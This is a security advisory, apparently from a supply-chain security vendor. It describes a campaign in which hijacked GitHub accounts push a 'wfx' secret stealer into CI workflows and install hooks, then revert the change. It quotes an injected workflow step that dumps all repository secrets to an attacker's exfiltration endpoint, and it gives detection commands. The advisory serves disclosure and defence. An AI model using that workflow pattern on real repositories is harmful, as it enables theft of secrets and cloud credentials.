Executive summary
Since 10 November 2026, an attacker has used stolen GitHub credentials to push a CI secret stealer, which calls itself “wfx”, into tens of thousands of repositories. The accounts belong to real developers whose accounts have been compromised in the past, supposedly through previous supply chain attacks. Every malicious change appears under a trusted name, and it reaches personal projects as well as company repositories where those developers might have write access.
The stealer runs inside GitHub Actions, where build pipelines keep their most sensitive secrets. It collects repository secrets, cloud credentials, package-registry tokens and AI-provider API keys. The malicious change is reverted after it lands, and the workflow run and its logs are deleted, so affected teams may see nothing unusual. We call this a sandwich commit.
Large open-source projects are among the victims. On 11 November the WebdriverIO bot account was used to push a malicious install hook into the webdriverio repository, past its branch protection.
Why it matters: at least 1,806 repositories have already had credentials stolen, and at least 50 of the hijacked accounts publish packages to npm, Go, Packagist, PyPI or crates. Stolen publishing tokens can be used for a follow-on wave of malicious package releases. Any organisation whose developers have write access to an affected repository should treat this as active and urgent.
Change log
- 12 Nov 2026, update: added the victim-reported access vector (leaked GitHub CLI token), the webdriverio case, sandwich-commit timing and Endor Labs coverage.
- 12 Nov 2026: initial publication, based on public reporting and the indicators released so far.
Impact
Severity
Critical. Full secret exfiltration from CI, cloud privilege escalation and persistent backdoors.
Exploitation status
Observed in the wild. Ongoing since 10 Nov 2026, with confirmed credential theft in thousands of repositories.
Ecosystems
Packagist and Go have confirmed malicious versions. npm, PyPI and crates are exposed through hijacked publisher accounts.
Potential victims
Developers with stolen tokens, every repository they can write to, CI/CD pipelines, the cloud accounts those pipelines deploy to, and downstream package users.
Business risk in plain terms
A build pipeline holds the keys to production. If the stealer ran in one of your repositories, assume an outsider now holds every password and cloud key that pipeline could use. Depending on what the pipeline does, that can include deploying code, reading customer data or publishing new versions of your software. The attacker also tries to create back doors that keep working after keys are rotated, so rotating secrets alone is not a full recovery.
Technical analysis
Affected packages
Most of the activity happens in GitHub repositories rather than registries. Two published packages are confirmed to contain the payload so far:
Infection vector: account takeover
There is no typosquat or dependency confusion here. The attacker logs in as real developers using stolen credentials and tokens, which gives them the same write access the developer has. 10,431 of the malicious pull requests landed in repositories the account does not own, reached through collaborator or organisation access.
How the credentials were stolen has not been confirmed for the campaign as a whole. One victim, writing on their own affected repository, reports that the attacker used a leaked GitHub CLI (gh) OAuth token. That fits the pattern: gh tokens are long-lived, carry the user's full repository access, and sit in a plain config file on developer machines.
Attack chain
- Account takeover. Stolen GitHub credentials for 4,837 developers.
- Probe pull request. A harmless-looking PR titled “docs: dependency audit notes” from a wfx-docs branch. It tests write access and triggers PR workflows.
- Payload pushed, one of three variants:
- Workflow injection (commit “ci: refresh build cache”): adds about 1,500 lines to an existing workflow file.
- Install hook (commit “chore: add ci helper”): adds .ci-xxxxxx.sh and a postinstall hook in package.json, so it runs on any npm install.
- Throwaway branch (commit “chore: add dependency audit workflow”): adds .github/workflows/build-audit-xxxxxx.yml on a chore/xxxxxxxx branch.
- Execution. GitHub Actions runs the stealer: secrets, tokens and cloud credentials are collected, and cloud access is escalated and backdoored.
- Exfiltration. A gzipped bundle is sent by HTTP POST to the attacker's server on port 8080 (/exfil).
- Cover tracks. “ci: restore” or “ci: cleanup” reverts the change within seconds, and the workflow run and its logs are deleted.

Figure 1. Steps 3 to 6 take about one minute per repository. The probe pull request usually stays open (92% still were at the time of reporting), while the payload commits are reverted.
The sandwich commit
The probe pull request is harmless: it adds a short markdown file from a branch in the same repository. Its job is to confirm write access and, as one victim notes, to trigger pull_request workflows. The theft happens on the default branch, wrapped between two ordinary-looking commits:

Figure 2. Timing observed in a public victim repository on 11 November. Because the payload sits on the default branch for only seconds, a scan of the current code finds nothing. The evidence is in commit history and in gaps between workflow run numbers.
What the stealer does
All three variants deliver the same shell script of about 1,500 lines. It is not obfuscated. It is heavily commented, labels itself “wfx” in logs and variable names, and switches each capability on or off with configuration flags at the top. It works in four stages.
Stage 1: Collect. Take everything readable on the runner.
- All Actions secrets and variables, GITHUB_TOKEN, OIDC and runtime tokens
- Credential files for AWS, Azure, GCP, Docker, Kubernetes, npm, PyPI, SSH, GPG, Vault and Terraform
- AI-tool keys: OpenAI, Anthropic, Gemini, Hugging Face, Cursor, Copilot and more
- Shell histories, .env, .pem and kubeconfig files
- Process memory of the Actions runner
Stage 2: Escalate. Turn CI identity into cloud access.
- Mints GitHub OIDC tokens and exchanges them for AWS, GCP and Azure sessions
- Chains into other AWS roles and creates long-lived IAM access keys
- Impersonates GCP service accounts
- Replays cached Azure CLI refresh tokens for Graph, ARM and Key Vault
- Tries the tokens against Vault and Kubernetes
Stage 3: Persist. Keep access after the run ends.
- Rewrites an AWS role trust policy to "AWS": "*", so any AWS account can assume it
- Adds Azure federated credentials named wfx-ci-… pointing at the repository
- Posts fake “success” status checks so branch protection lets changes through
Stage 4: Exfiltrate. Ship it out, then disappear.
- Packs the loot into a gzipped tarball
- Sends it by HTTP POST to the attacker's server on port 8080
- Alternative channels exist in the code (cache, artifacts, step summary), switched off in this campaign
The injected workflow
In the workflow-injection variant, two steps are added to an existing job. The first exposes the runner's internal tokens to later steps. The second runs the stealer, receiving every repository secret and variable as JSON through environment variables:
- name: Pass runtime
uses: actions/github-script@v7
- name: Restore cache j632
env:
WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
WF_CTOKEN: "b42d70a7aab9140ca19e8249"
WF_SECRETS: "${{ toJSON(secrets) }}"
WF_VARS: "${{ toJSON(vars) }}"
run: |
# ~1,500 lines: collect, escalate, persist, exfiltrate
The step names look like routine build maintenance. The giveaway is toJSON(secrets): legitimate workflows reference individual secrets by name and almost never dump all of them into one variable.
Case study: webdriverio
On 11 November at 12:11 UTC, two “chore: add ci helper” commits were pushed to webdriverio/webdriverio under the WebdriverIO Bot account, and they bypassed branch protection. They added .ci-a4oytg.sh (1,493 lines) and changed the root package.json so that postinstall ran the script silently on every pnpm install. The script sent secrets and cloud credentials to 194.150.166[.]244:8080/exfil.
A contributor flagged the commits within about 20 minutes. They asked maintainers to cancel the in-progress test and release runs, rotate the bot token and npm publish tokens, and check for npm publishes after 12:11 UTC. The case shows two things. Bot and automation accounts with bypass rights are prime targets. And the install-hook variant reaches far beyond CI, to anyone who installs from the repository while the hook is in place.
Command and control
In this campaign the payload uses a single channel: HTTP POST to 194.150.166[.]244:8080/exfil or 18.143.168[.]96:8080/exfil. The script can also hide stolen data in the Actions cache, in workflow artifacts (wfx-loot-<run id>) or in the job summary (between <!--WFX-BEGIN--> markers). Those channels only switch on when a “private repository” flag is set, and it was off in the deployed configuration. Their presence suggests the tool is also built for private repositories.
Anti-forensics
Each repository sees a revert commit (ci: restore or ci: cleanup) within seconds, and the workflow run and its logs are deleted. Absence of wfx-loot artifacts or wfx- cache entries does not prove nothing was taken. The most reliable sign is a missing run number: GitHub numbers runs in sequence, so a deleted run leaves a gap right after the attacker's commit.
Timeline
Mitigations
If the payload ran in your repository: assume every secret, token and cloud role available to that repository's workflows is compromised. Rotating keys is necessary but not enough: also remove the backdoors listed in steps 3 and 4 below.
Immediate steps
- Find exposure. Search every repository your developers can write to for the branch names, PR title and commit messages in the IOC list, from 10 Nov onward. If the probe PR exists, the account is compromised even if the payload did not run.
- Lock the accounts. Revoke the affected developers' sessions, personal access tokens, SSH keys and OAuth grants, and require a password reset with phishing-resistant MFA.
- Rotate everything the workflows could reach. That means repository and organisation secrets, cloud keys, registry tokens (npm, PyPI, Packagist, crates), and AI-provider keys.
- Remove cloud persistence. In AWS, look for role trust policies with "AWS": "*" and IAM access keys created since 10 Nov. In Azure, look for federated identity credentials named wfx-ci-*.
- Clean up GitHub. Close the probe PRs and delete wfx-docs, chore/* and ci-check-* branches. Check that the attacker's reverts actually removed the payload, then review any status checks posted on their commits.
- Remove affected package versions. Remove digitalelvis/neuronai-studio 3.14.3 and github.com/onuragtas/docker-env v1.0.278 and v1.0.280, and treat machines that installed the Packagist version as compromised.
Detection
Hunting in GitHub and local clones:
# Probe PRs in your organisation
gh search prs "docs: dependency audit notes" --owner <org> --created ">=2026-11-10"
# Attacker commits in a clone (all branches)
git log --all --since=2026-11-10 --format='%h %ad %an %s' \
| grep -E 'ci: refresh build cache|chore: add ci helper|chore: add dependency audit workflow|ci: restore|ci: cleanup'
# Leftover attacker branches
git ls-remote origin 'refs/heads/wfx-docs' 'refs/heads/chore/*' 'refs/heads/ci-check-*'
# Install hooks that run a hidden CI helper
grep -rn --include=package.json -E '"postinstall"\s*:\s*".*\.ci-[a-z0-9]{6}\.sh' .
In cloud audit logs, review activity since 10 Nov for CreateAccessKey, UpdateAssumeRolePolicy and AssumeRoleWithWebIdentity from GitHub OIDC (AWS CloudTrail), and for federated-credential additions to app registrations (Microsoft Entra audit logs). In GitHub, look for gaps in workflow run numbers next to the attacker's commits.
Long-term hardening
- Protect workflow files. Require code-owner review for .github/workflows/** and block direct pushes to default branches, including for administrators.
- Pin required checks to their source. Use repository rulesets that expect each required status check from a specific GitHub App, so a check posted by a workflow token can't stand in for it.
- Narrow the blast radius. Set the default GITHUB_TOKEN to read-only. Scope cloud OIDC trust to specific repositories, branches and environments. Move deploy secrets into protected environments with reviewers.
- Shorten credential lifetimes. Prefer fine-grained, expiring tokens and SSO-enforced organisations over classic personal access tokens.
- Treat install scripts as code execution. Run npm ci --ignore-scripts in CI where possible, and alert on new lifecycle hooks in package.json.
- Watch egress from runners. Unexpected outbound traffic from a build, such as a raw IP on port 8080, is a high-signal alert.
- Know what you ship. Keep an SBOM, pin dependencies by version and hash, and scan registries and workflows continuously for malicious changes.
How Endor Labs helps
Endor Labs SCM posture policies check the repository and workflow settings that decide how far this attack gets. They narrow the blast radius before an account is compromised.
Limits: these checks improve hygiene and reduce what an attacker can reach. They will not catch a sandwich commit after the revert, because the malicious workflow no longer exists on the branch. Pair them with the hunting steps above: commit-history searches for the indicators, and checks for gaps in workflow run numbers.
Outlook and next steps
CI/CD is now a primary target. Build pipelines combine broad secrets, automatic code execution and weak audit trails. Attackers increasingly target the pipeline and the accounts that control it rather than the code itself. Self-erasing payloads like this one make after-the-fact detection much harder.
What we are watching:
- New package releases from maintainers whose accounts appear in this campaign, especially versions that add install hooks or workflow files.
- Abuse of stolen registry tokens to publish malicious versions of legitimate packages.
- Changes to the payload's configuration or infrastructure as the published indicators get blocked.
References
- Aikido Security, “Compromised GitHub accounts push CI secret stealer to tens of thousands of repositories” (12 Nov 2026)
- Victim disclosure on StringKe/kxen #52: leaked GitHub CLI OAuth token
- webdriverio/webdriverio #16444: revert of the malicious install-hook commits
- GitHub search for the probe PR title
- GitHub Docs, Security hardening for GitHub Actions
Acknowledgments
Thanks to Aikido Security for the original disclosure and indicators, and to the maintainers who disclosed their incidents publicly.
Indicators of compromise
Network indicators are defanged.
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:









